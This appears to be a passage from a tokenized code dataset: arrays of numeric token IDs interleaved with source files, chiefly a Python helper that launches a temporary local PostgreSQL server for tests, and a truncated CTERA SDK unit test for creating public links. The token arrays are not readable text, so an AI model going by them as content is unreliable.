4299,
29898,
7713,
962,
5676,
293,
3195,
511,
6213,
29897,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29918,
11014,
29918,
16595,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28551,
3262,
9846,
4733,
393,
508,
29915,
29873,
367,
1304,
363,
2346,
292,
29889,
13,
4706,
9995,
13,
13,
4706,
770,
319,
29898,
7713,
962,
5676,
293,
3195,
1125,
13,
9651,
770,
20553,
29901,
13,
18884,
9846,
353,
5852,
13,
13,
4706,
770,
350,
29898,
29909,
1125,
13,
9651,
1209,
13,
13,
4706,
770,
315,
29898,
29933,
1125,
13,
9651,
1209,
13,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
29909,
511,
6213,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
29933,
511,
350,
29897,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
29907,
511,
350,
29897,
13,
13,
4706,
1583,
29889,
9294,
3624,
29898,
657,
29918,
3188,
29918,
3733,
962,
5676,
293,
29918,
4299,
29898,
29907,
29892,
2758,
29918,
16595,
29922,
5574,
511,
319,
29897,
13,
2
] |
src/testing/postgresql.py | kmane-bbcock1/python_postgresql | 0 | 1613185 | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2013 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import sys
import socket
import signal
import pg8000
import tempfile
import subprocess
from glob import glob
from time import sleep
from shutil import copytree, rmtree
from datetime import datetime
from contextlib import closing
__all__ = ['Postgresql', 'skipIfNotFound']
SEARCH_PATHS = (['/usr/local/pgsql', '/usr/local'] +
glob('/usr/lib/postgresql/*') + # for Debian/Ubuntu
glob('/opt/local/lib/postgresql*')) # for MacPorts
DEFAULT_SETTINGS = dict(auto_start=2,
base_dir=None,
initdb=None,
initdb_args='-U postgres -A trust',
postgres=None,
postgres_args='-h 127.0.0.1 -F -c logging_collector=off',
pid=None,
port=None,
copy_data_from=None)
class Postgresql(object):
def __init__(self, **kwargs):
self.settings = dict(DEFAULT_SETTINGS)
self.settings.update(kwargs)
self.pid = None
self._owner_pid = os.getpid()
self._use_tmpdir = False
if self.base_dir:
if self.base_dir[0] != '/':
self.settings['base_dir'] = os.path.join(os.getcwd(), self.base_dir)
else:
self.settings['base_dir'] = tempfile.mkdtemp()
self._use_tmpdir = True
if self.initdb is None:
self.settings['initdb'] = find_program('initdb', ['bin'])
if self.postgres is None:
self.settings['postgres'] = find_program('postgres', ['bin'])
if self.auto_start:
if self.auto_start >= 2:
self.setup()
self.start()
def __del__(self):
self.stop()
def __enter__(self):
return self
def __exit__(self, *args):
self.stop()
def __getattr__(self, name):
if name in self.settings:
return self.settings[name]
else:
raise AttributeError("'Postgresql' object has no attribute '%s'" % name)
def dsn(self, **kwargs):
# "database=test host=localhost user=postgres"
params = dict(kwargs)
params.setdefault('port', self.port)
params.setdefault('host', '127.0.0.1')
params.setdefault('user', 'postgres')
params.setdefault('database', 'test')
return params
def url(self, **kwargs):
params = self.dsn(**kwargs)
url = ('postgresql://%s@%s:%d/%s' %
(params['user'], params['host'], params['port'], params['database']))
return url
def setup(self):
# copy data files
if self.copy_data_from:
try:
copytree(self.copy_data_from, os.path.join(self.base_dir, 'data'))
os.chmod(os.path.join(self.base_dir, 'data'), 0o700)
except Exception as exc:
raise RuntimeError("could not copytree %s to %s: %r" %
(self.copy_data_from, os.path.join(self.base_dir, 'data'), exc))
# (re)create directory structure
for subdir in ['data', 'tmp']:
path = os.path.join(self.base_dir, subdir)
if not os.path.exists(path):
os.makedirs(path)
os.chmod(path, 0o700)
# initdb
if not os.path.exists(os.path.join(self.base_dir, 'data', 'PG_VERSION')):
args = ([self.initdb, '-D', os.path.join(self.base_dir, 'data'), '--lc-messages=C'] +
self.initdb_args.split())
try:
p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, err = p.communicate()
if p.returncode != 0:
raise RuntimeError("initdb failed: %r" % err)
except OSError as exc:
raise RuntimeError("failed to spawn initdb: %s" % exc)
def start(self):
if self.pid:
return # already started
if self.port is None:
self.port = get_unused_port()
logger = open(os.path.join(self.base_dir, 'tmp', 'postgresql.log'), 'wt')
pid = os.fork()
if pid == 0:
os.dup2(logger.fileno(), sys.__stdout__.fileno())
os.dup2(logger.fileno(), sys.__stderr__.fileno())
try:
os.execl(self.postgres, self.postgres,
'-p', str(self.port),
'-D', os.path.join(self.base_dir, 'data'),
'-k', os.path.join(self.base_dir, 'tmp'),
*self.postgres_args.split())
except Exception as exc:
raise RuntimeError('failed to launch postgres: %r' % exc)
else:
logger.close()
self.pid = pid
exec_at = datetime.now()
while True:
if os.waitpid(pid, os.WNOHANG)[0] != 0:
raise RuntimeError("*** failed to launch postgres ***\n" + self.read_log())
if self.is_connection_available():
break
if (datetime.now() - exec_at).seconds > 10.0:
raise RuntimeError("*** failed to launch postgres (timeout) ***\n" + self.read_log())
sleep(0.1)
# create test database
with closing(pg8000.connect(**self.dsn(database='postgres'))) as conn:
conn.autocommit = True
with closing(conn.cursor()) as cursor:
cursor.execute("SELECT COUNT(*) FROM pg_database WHERE datname='test'")
if cursor.fetchone()[0] <= 0:
cursor.execute('CREATE DATABASE test')
def stop(self, _signal=signal.SIGINT):
self.terminate(_signal)
self.cleanup()
def terminate(self, _signal=signal.SIGINT):
if self.pid is None:
return # not started
if self._owner_pid != os.getpid():
return # could not stop in child process
try:
os.kill(self.pid, _signal)
killed_at = datetime.now()
while (os.waitpid(self.pid, os.WNOHANG)):
if (datetime.now() - killed_at).seconds > 10.0:
os.kill(self.pid, signal.SIGKILL)
raise RuntimeError("*** failed to shutdown postgres (timeout) ***\n" + self.read_log())
sleep(0.1)
except OSError:
pass
self.pid = None
def cleanup(self):
if self.pid is not None:
return
if self._use_tmpdir and os.path.exists(self.base_dir):
rmtree(self.base_dir, ignore_errors=True)
self._use_tmpdir = False
def read_log(self):
try:
with open(os.path.join(self.base_dir, 'tmp', 'postgresql.log')) as log:
return log.read()
except Exception as exc:
raise RuntimeError("failed to open file:tmp/postgresql.log: %r" % exc)
def is_connection_available(self):
try:
with closing(pg8000.connect(**self.dsn(database='template1'))):
pass
except pg8000.Error:
return False
else:
return True
def skipIfNotInstalled(arg=None):
if sys.version_info < (2, 7):
from unittest2 import skipIf
else:
from unittest import skipIf
def decorator(fn, path=arg):
if path:
cond = not os.path.exists(path)
else:
try:
find_program('postgres', ['bin']) # raise exception if not found
cond = False
except:
cond = True # not found
return skipIf(cond, "PostgreSQL not found")(fn)
if callable(arg): # execute as simple decorator
return decorator(arg, None)
else: # execute with path argument
return decorator
skipIfNotFound = skipIfNotInstalled
def find_program(name, subdirs):
path = get_path_of(name)
if path:
return path
for base_dir in SEARCH_PATHS:
for subdir in subdirs:
path = os.path.join(base_dir, subdir, name)
if os.path.exists(path):
return path
raise RuntimeError("command not found: %s" % name)
def get_path_of(name):
path = subprocess.Popen(['/usr/bin/which', name],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE).communicate()[0]
if path:
return path.rstrip().decode('utf-8')
else:
return None
def get_unused_port():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('localhost', 0))
_, port = sock.getsockname()
sock.close()
return port
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
29871,
14187,
1266,
29871,
29906,
29900,
29896,
29941,
529,
5813,
29958,
13,
29937,
13,
29937,
29871,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
29871,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
29871,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
418,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
29871,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
29871,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
29871,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
29871,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
29871,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
9909,
13,
5215,
7182,
13,
5215,
23822,
29947,
29900,
29900,
29900,
13,
5215,
5694,
1445,
13,
5215,
1014,
5014,
13,
3166,
13149,
1053,
13149,
13,
3166,
931,
1053,
8709,
13,
3166,
528,
4422,
1053,
3509,
8336,
29892,
364,
4378,
929,
13,
3166,
12865,
1053,
12865,
13,
3166,
3030,
1982,
1053,
14382,
13,
13,
13,
1649,
497,
1649,
353,
6024,
6747,
16153,
742,
525,
11014,
3644,
17413,
2033,
13,
13,
1660,
1718,
3210,
29918,
10145,
29903,
353,
313,
1839,
29914,
4855,
29914,
2997,
29914,
4061,
2850,
742,
8207,
4855,
29914,
2997,
2033,
718,
13,
18884,
13149,
11219,
4855,
29914,
1982,
29914,
29272,
5515,
1495,
718,
29871,
396,
363,
7089,
713,
29914,
29965,
6037,
13,
18884,
13149,
11219,
3670,
29914,
2997,
29914,
1982,
29914,
29272,
29930,
8785,
29871,
396,
363,
4326,
2290,
29879,
13,
23397,
29918,
10490,
29911,
4214,
29903,
353,
9657,
29898,
6921,
29918,
2962,
29922,
29906,
29892,
13,
462,
4706,
2967,
29918,
3972,
29922,
8516,
29892,
13,
462,
4706,
2069,
2585,
29922,
8516,
29892,
13,
462,
4706,
2069,
2585,
29918,
5085,
2433,
29899,
29965,
1400,
7201,
448,
29909,
9311,
742,
13,
462,
4706,
1400,
7201,
29922,
8516,
29892,
13,
462,
4706,
1400,
7201,
29918,
5085,
2433,
29899,
29882,
29871,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
448,
29943,
448,
29883,
12183,
29918,
15914,
272,
29922,
2696,
742,
13,
462,
4706,
23107,
29922,
8516,
29892,
13,
462,
4706,
2011,
29922,
8516,
29892,
13,
462,
4706,
3509,
29918,
1272,
29918,
3166,
29922,
8516,
29897,
13,
13,
13,
1990,
4918,
16153,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3579,
19290,
1125,
13,
4706,
1583,
29889,
11027,
353,
9657,
29898,
23397,
29918,
10490,
29911,
4214,
29903,
29897,
13,
4706,
1583,
29889,
11027,
29889,
5504,
29898,
19290,
29897,
13,
4706,
1583,
29889,
5935,
353,
6213,
13,
4706,
1583,
3032,
20348,
29918,
5935,
353,
2897,
29889,
657,
5935,
580,
13,
4706,
1583,
3032,
1509,
29918,
7050,
3972,
353,
7700,
13,
13,
4706,
565,
1583,
29889,
3188,
29918,
3972,
29901,
13,
9651,
565,
1583,
29889,
3188,
29918,
3972,
29961,
29900,
29962,
2804,
8207,
2396,
13,
18884,
1583,
29889,
11027,
1839,
3188,
29918,
3972,
2033,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
657,
29883,
9970,
3285,
1583,
29889,
3188,
29918,
3972,
29897,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
11027,
1839,
3188,
29918,
3972,
2033,
353,
5694,
1445,
29889,
11256,
29881,
7382,
580,
13,
9651,
1583,
3032,
1509,
29918,
7050,
3972,
353,
5852,
13,
13,
4706,
565,
1583,
29889,
2344,
2585,
338,
6213,
29901,
13,
9651,
1583,
29889,
11027,
1839,
2344,
2585,
2033,
353,
1284,
29918,
8860,
877,
2344,
2585,
742,
6024,
2109,
11287,
13,
13,
4706,
565,
1583,
29889,
2490,
7201,
338,
6213,
29901,
13,
9651,
1583,
29889,
11027,
1839,
2490,
7201,
2033,
353,
1284,
29918,
8860,
877,
2490,
7201,
742,
6024,
2109,
11287,
13,
13,
4706,
565,
1583,
29889,
6921,
29918,
2962,
29901,
13,
9651,
565,
1583,
29889,
6921,
29918,
2962,
6736,
29871,
29906,
29901,
13,
18884,
1583,
29889,
14669,
580,
13,
13,
9651,
1583,
29889,
2962,
580,
13,
13,
1678,
822,
4770,
6144,
12035,
1311,
1125,
13,
4706,
1583,
29889,
9847,
580,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
334,
5085,
1125,
13,
4706,
1583,
29889,
9847,
580,
13,
13,
1678,
822,
4770,
657,
5552,
12035,
1311,
29892,
1024,
1125,
13,
4706,
565,
1024,
297,
1583,
29889,
11027,
29901,
13,
9651,
736,
1583,
29889,
11027,
29961,
978,
29962,
13,
4706,
1683,
29901,
13,
9651,
12020,
23833,
2392,
703,
29915,
6747,
16153,
29915,
1203,
756,
694,
5352,
14210,
29879,
11838,
1273,
1024,
29897,
13,
13,
1678,
822,
270,
16586,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
396,
376,
9803,
29922,
1688,
3495,
29922,
7640,
1404,
29922,
2490,
7201,
29908,
13,
4706,
8636,
353,
9657,
29898,
19290,
29897,
13,
4706,
8636,
29889,
842,
4381,
877,
637,
742,
1583,
29889,
637,
29897,
13,
4706,
8636,
29889,
842,
4381,
877,
3069,
742,
525,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
1495,
13,
4706,
8636,
29889,
842,
4381,
877,
1792,
742,
525,
2490,
7201,
1495,
13,
4706,
8636,
29889,
842,
4381,
877,
9803,
742,
525,
1688,
1495,
13,
13,
4706,
736,
8636,
13,
13,
1678,
822,
3142,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
8636,
353,
1583,
29889,
6289,
29876,
29898,
1068,
19290,
29897,
13,
13,
4706,
3142,
353,
6702,
29272,
597,
29995,
29879,
29992,
29995,
29879,
16664,
29881,
22584,
29879,
29915,
1273,
13,
1669,
313,
7529,
1839,
1792,
7464,
8636,
1839,
3069,
7464,
8636,
1839,
637,
7464,
8636,
1839,
9803,
25901,
13,
13,
4706,
736,
3142,
13,
13,
1678,
822,
6230,
29898,
1311,
1125,
13,
4706,
396,
3509,
848,
2066,
13,
4706,
565,
1583,
29889,
8552,
29918,
1272,
29918,
3166,
29901,
13,
9651,
1018,
29901,
13,
18884,
3509,
8336,
29898,
1311,
29889,
8552,
29918,
1272,
29918,
3166,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
8785,
13,
18884,
2897,
29889,
305,
1545,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
5477,
29871,
29900,
29877,
29955,
29900,
29900,
29897,
13,
9651,
5174,
8960,
408,
5566,
29901,
13,
18884,
12020,
24875,
2392,
703,
26680,
451,
3509,
8336,
1273,
29879,
304,
1273,
29879,
29901,
1273,
29878,
29908,
1273,
13,
462,
462,
259,
313,
1311,
29889,
8552,
29918,
1272,
29918,
3166,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
5477,
5566,
876,
13,
13,
4706,
396,
313,
276,
29897,
3258,
3884,
3829,
13,
4706,
363,
1014,
3972,
297,
6024,
1272,
742,
525,
7050,
2033,
29901,
13,
9651,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
1014,
3972,
29897,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
18884,
2897,
29889,
29885,
12535,
12935,
29898,
2084,
29897,
13,
18884,
2897,
29889,
305,
1545,
29898,
2084,
29892,
29871,
29900,
29877,
29955,
29900,
29900,
29897,
13,
13,
4706,
396,
2069,
2585,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
742,
525,
16903,
29918,
16358,
8785,
29901,
13,
9651,
6389,
353,
9310,
1311,
29889,
2344,
2585,
29892,
17411,
29928,
742,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
5477,
525,
489,
29880,
29883,
29899,
19158,
29922,
29907,
2033,
718,
13,
462,
1678,
1583,
29889,
2344,
2585,
29918,
5085,
29889,
5451,
3101,
13,
13,
9651,
1018,
29901,
13,
18884,
282,
353,
1014,
5014,
29889,
29925,
3150,
29898,
5085,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29897,
13,
18884,
1962,
29892,
4589,
353,
282,
29889,
27820,
403,
580,
13,
18884,
565,
282,
29889,
2457,
401,
2804,
29871,
29900,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
2344,
2585,
5229,
29901,
1273,
29878,
29908,
1273,
4589,
29897,
13,
9651,
5174,
438,
29173,
408,
5566,
29901,
13,
18884,
12020,
24875,
2392,
703,
26061,
304,
29178,
2069,
2585,
29901,
1273,
29879,
29908,
1273,
5566,
29897,
13,
13,
1678,
822,
1369,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
5935,
29901,
13,
9651,
736,
29871,
396,
2307,
4687,
13,
13,
4706,
565,
1583,
29889,
637,
338,
6213,
29901,
13,
9651,
1583,
29889,
637,
353,
679,
29918,
348,
3880,
29918,
637,
580,
13,
13,
4706,
17927,
353,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
7050,
742,
525,
29272,
29889,
1188,
5477,
525,
14554,
1495,
13,
4706,
23107,
353,
2897,
29889,
29888,
548,
580,
13,
4706,
565,
23107,
1275,
29871,
29900,
29901,
13,
9651,
2897,
29889,
20908,
29906,
29898,
21707,
29889,
1777,
8154,
3285,
10876,
17255,
25393,
26914,
1777,
8154,
3101,
13,
9651,
2897,
29889,
20908,
29906,
29898,
21707,
29889,
1777,
8154,
3285,
10876,
17255,
303,
20405,
26914,
1777,
8154,
3101,
13,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
4258,
29880,
29898,
1311,
29889,
2490,
7201,
29892,
1583,
29889,
2490,
7201,
29892,
13,
462,
308,
17411,
29886,
742,
851,
29898,
1311,
29889,
637,
511,
13,
462,
308,
17411,
29928,
742,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
1272,
5477,
13,
462,
308,
17411,
29895,
742,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
7050,
5477,
13,
462,
308,
334,
1311,
29889,
2490,
7201,
29918,
5085,
29889,
5451,
3101,
13,
9651,
5174,
8960,
408,
5566,
29901,
13,
18884,
12020,
24875,
2392,
877,
26061,
304,
6826,
1400,
7201,
29901,
1273,
29878,
29915,
1273,
5566,
29897,
13,
4706,
1683,
29901,
13,
9651,
17927,
29889,
5358,
580,
13,
13,
9651,
1583,
29889,
5935,
353,
23107,
13,
9651,
2279,
29918,
271,
353,
12865,
29889,
3707,
580,
13,
9651,
1550,
5852,
29901,
13,
18884,
565,
2897,
29889,
10685,
5935,
29898,
5935,
29892,
2897,
29889,
29956,
6632,
29950,
19453,
9601,
29900,
29962,
2804,
29871,
29900,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
17435,
5229,
304,
6826,
1400,
7201,
18610,
29905,
29876,
29908,
718,
1583,
29889,
949,
29918,
1188,
3101,
13,
13,
18884,
565,
1583,
29889,
275,
29918,
9965,
29918,
16515,
7295,
13,
462,
1678,
2867,
13,
13,
18884,
565,
313,
12673,
29889,
3707,
580,
448,
2279,
29918,
271,
467,
23128,
1405,
29871,
29896,
29900,
29889,
29900,
29901,
13,
462,
1678,
12020,
24875,
2392,
703,
17435,
5229,
304,
6826,
1400,
7201,
313,
15619,
29897,
18610,
29905,
29876,
29908,
718,
1583,
29889,
949,
29918,
1188,
3101,
13,
13,
18884,
8709,
29898,
29900,
29889,
29896,
29897,
13,
13,
9651,
396,
1653,
1243,
2566,
13,
9651,
411,
14382,
29898,
4061,
29947,
29900,
29900,
29900,
29889,
6915,
29898,
1068,
1311,
29889,
6289,
29876,
29898,
9803,
2433,
2490,
7201,
29915,
4961,
408,
11009,
29901,
13,
18884,
11009,
29889,
6921,
15060,
353,
5852,
13,
18884,
411,
14382,
29898,
13082,
29889,
18127,
3101,
408,
10677,
29901,
13,
462,
1678,
10677,
29889,
7978,
703,
6404,
21122,
22798,
3895,
23822,
29918,
9803,
5754,
1418,
978,
2433,
1688,
29915,
1159,
13,
462,
1678,
565,
10677,
29889,
9155,
650,
580,
29961,
29900,
29962,
5277,
29871,
29900,
29901,
13,
462,
4706,
10677,
29889,
7978,
877,
27045,
27640,
27982,
1243,
1495,
13,
13,
1678,
822,
5040,
29898,
1311,
29892,
903,
25436,
29922,
25436,
29889,
5425,
29954,
10192,
1125,
13,
4706,
1583,
29889,
18821,
403,
7373,
25436,
29897,
13,
4706,
1583,
29889,
14941,
786,
580,
13,
13,
1678,
822,
29504,
29898,
1311,
29892,
903,
25436,
29922,
25436,
29889,
5425,
29954,
10192,
1125,
13,
4706,
565,
1583,
29889,
5935,
338,
6213,
29901,
13,
9651,
736,
29871,
396,
451,
4687,
13,
13,
4706,
565,
1583,
3032,
20348,
29918,
5935,
2804,
2897,
29889,
657,
5935,
7295,
13,
9651,
736,
29871,
396,
1033,
451,
5040,
297,
2278,
1889,
13,
13,
4706,
1018,
29901,
13,
9651,
2897,
29889,
21174,
29898,
1311,
29889,
5935,
29892,
903,
25436,
29897,
13,
9651,
9445,
29918,
271,
353,
12865,
29889,
3707,
580,
13,
9651,
1550,
313,
359,
29889,
10685,
5935,
29898,
1311,
29889,
5935,
29892,
2897,
29889,
29956,
6632,
29950,
19453,
22164,
13,
18884,
565,
313,
12673,
29889,
3707,
580,
448,
9445,
29918,
271,
467,
23128,
1405,
29871,
29896,
29900,
29889,
29900,
29901,
13,
462,
1678,
2897,
29889,
21174,
29898,
1311,
29889,
5935,
29892,
7182,
29889,
5425,
29954,
29968,
24071,
29897,
13,
462,
1678,
12020,
24875,
2392,
703,
17435,
5229,
304,
12522,
3204,
1400,
7201,
313,
15619,
29897,
18610,
29905,
29876,
29908,
718,
1583,
29889,
949,
29918,
1188,
3101,
13,
13,
18884,
8709,
29898,
29900,
29889,
29896,
29897,
13,
4706,
5174,
438,
29173,
29901,
13,
9651,
1209,
13,
13,
4706,
1583,
29889,
5935,
353,
6213,
13,
13,
1678,
822,
5941,
786,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
5935,
338,
451,
6213,
29901,
13,
9651,
736,
13,
13,
4706,
565,
1583,
3032,
1509,
29918,
7050,
3972,
322,
2897,
29889,
2084,
29889,
9933,
29898,
1311,
29889,
3188,
29918,
3972,
1125,
13,
9651,
364,
4378,
929,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
11455,
29918,
12523,
29922,
5574,
29897,
13,
9651,
1583,
3032,
1509,
29918,
7050,
3972,
353,
7700,
13,
13,
1678,
822,
1303,
29918,
1188,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
3188,
29918,
3972,
29892,
525,
7050,
742,
525,
29272,
29889,
1188,
8785,
408,
1480,
29901,
13,
18884,
736,
1480,
29889,
949,
580,
13,
4706,
5174,
8960,
408,
5566,
29901,
13,
9651,
12020,
24875,
2392,
703,
26061,
304,
1722,
934,
29901,
7050,
29914,
29272,
29889,
1188,
29901,
1273,
29878,
29908,
1273,
5566,
29897,
13,
13,
1678,
822,
338,
29918,
9965,
29918,
16515,
29898,
1311,
1125,
13,
4706,
1018,
29901,
13,
9651,
411,
14382,
29898,
4061,
29947,
29900,
29900,
29900,
29889,
6915,
29898,
1068,
1311,
29889,
6289,
29876,
29898,
9803,
2433,
6886,
29896,
8785,
1125,
13,
18884,
1209,
13,
4706,
5174,
23822,
29947,
29900,
29900,
29900,
29889,
2392,
29901,
13,
9651,
736,
7700,
13,
4706,
1683,
29901,
13,
9651,
736,
5852,
13,
13,
13,
1753,
14383,
3644,
3664,
3379,
4212,
29898,
1191,
29922,
8516,
1125,
13,
1678,
565,
10876,
29889,
3259,
29918,
3888,
529,
313,
29906,
29892,
29871,
29955,
1125,
13,
4706,
515,
443,
27958,
29906,
1053,
14383,
3644,
13,
1678,
1683,
29901,
13,
4706,
515,
443,
27958,
1053,
14383,
3644,
13,
13,
1678,
822,
10200,
1061,
29898,
9144,
29892,
2224,
29922,
1191,
1125,
13,
4706,
565,
2224,
29901,
13,
9651,
2148,
353,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
29897,
13,
4706,
1683,
29901,
13,
9651,
1018,
29901,
13,
18884,
1284,
29918,
8860,
877,
2490,
7201,
742,
6024,
2109,
11287,
29871,
396,
12020,
3682,
565,
451,
1476,
13,
18884,
2148,
353,
7700,
13,
9651,
5174,
29901,
13,
18884,
2148,
353,
5852,
29871,
396,
451,
1476,
13,
13,
4706,
736,
14383,
3644,
29898,
1116,
29892,
376,
6747,
7979,
4176,
451,
1476,
1159,
29898,
9144,
29897,
13,
13,
1678,
565,
1246,
519,
29898,
1191,
1125,
29871,
396,
6222,
408,
2560,
10200,
1061,
13,
4706,
736,
10200,
1061,
29898,
1191,
29892,
6213,
29897,
13,
1678,
1683,
29901,
29871,
396,
6222,
411,
2224,
2980,
13,
4706,
736,
10200,
1061,
13,
13,
13,
11014,
3644,
17413,
353,
14383,
3644,
3664,
3379,
4212,
13,
13,
13,
1753,
1284,
29918,
8860,
29898,
978,
29892,
1014,
3972,
29879,
1125,
13,
1678,
2224,
353,
679,
29918,
2084,
29918,
974,
29898,
978,
29897,
13,
1678,
565,
2224,
29901,
13,
4706,
736,
2224,
13,
13,
1678,
363,
2967,
29918,
3972,
297,
3725,
1718,
3210,
29918,
10145,
29903,
29901,
13,
4706,
363,
1014,
3972,
297,
1014,
3972,
29879,
29901,
13,
9651,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
3972,
29892,
1014,
3972,
29892,
1024,
29897,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
18884,
736,
2224,
13,
13,
1678,
12020,
24875,
2392,
703,
6519,
451,
1476,
29901,
1273,
29879,
29908,
1273,
1024,
29897,
13,
13,
13,
1753,
679,
29918,
2084,
29918,
974,
29898,
978,
1125,
13,
1678,
2224,
353,
1014,
5014,
29889,
29925,
3150,
18959,
29914,
4855,
29914,
2109,
29914,
4716,
742,
1024,
1402,
13,
462,
9651,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
13,
462,
9651,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
467,
27820,
403,
580,
29961,
29900,
29962,
13,
1678,
565,
2224,
29901,
13,
4706,
736,
2224,
29889,
29878,
17010,
2141,
13808,
877,
9420,
29899,
29947,
1495,
13,
1678,
1683,
29901,
13,
4706,
736,
6213,
13,
13,
13,
1753,
679,
29918,
348,
3880,
29918,
637,
7295,
13,
1678,
577,
384,
353,
9909,
29889,
11514,
29898,
11514,
29889,
5098,
29918,
1177,
2544,
29892,
9909,
29889,
6156,
7077,
29918,
1254,
1525,
5194,
29897,
13,
1678,
577,
384,
29889,
5355,
29898,
877,
7640,
742,
29871,
29900,
876,
13,
1678,
17117,
2011,
353,
577,
384,
29889,
657,
21852,
978,
580,
13,
1678,
577,
384,
29889,
5358,
580,
13,
13,
1678,
736,
2011,
13,
2
] |
tests/ut/test_core_files_public_link.py | CTERA-Networks/ctera-python-sdk | 5 | 163739 | import datetime
from unittest import mock
from cterasdk.core.enum import FileAccessMode
from cterasdk.common import Object
from tests.ut import base_core_services
class BaseCoreServicesFilesPublicLink(base_core_services.BaseCoreServicesTest):
def setUp(self):
super().setUp()
self._path = 'My Files/Documents'
self._public_link = 'https://cti.ctera.com/invitations/?share=d4db2b6054b7e447e07d&dl=0'
def test_create_public_link_defaults_args(self):
execute_response = self._create_public_link_response()
self._init_services(execute_response=execute_response)
public_link = self._services.files.mklink(self._path)
self._services.execute.assert_called_once_with('', 'createShare', mock.ANY)
expected_param = self._create_public_link_param(FileAccessMode.RO, 30)
actual_param = self._services.execute.call_args[0][2]
self._assert_equal_objects(actual_param, expected_param)
self.assertEqual(public_link, self._public_link)
def _create_public_link_response(self):
response = Object()
response.publicLink = self._public_link
return response
def _create_public_link_param(self, access_mode, expire_in):
param = Object()
param._classname = 'CreateShareParam' # pylint: disable=protected-access
param.url = self._services.cloud_drive_base_path + '/' + self._path
param.share = Object()
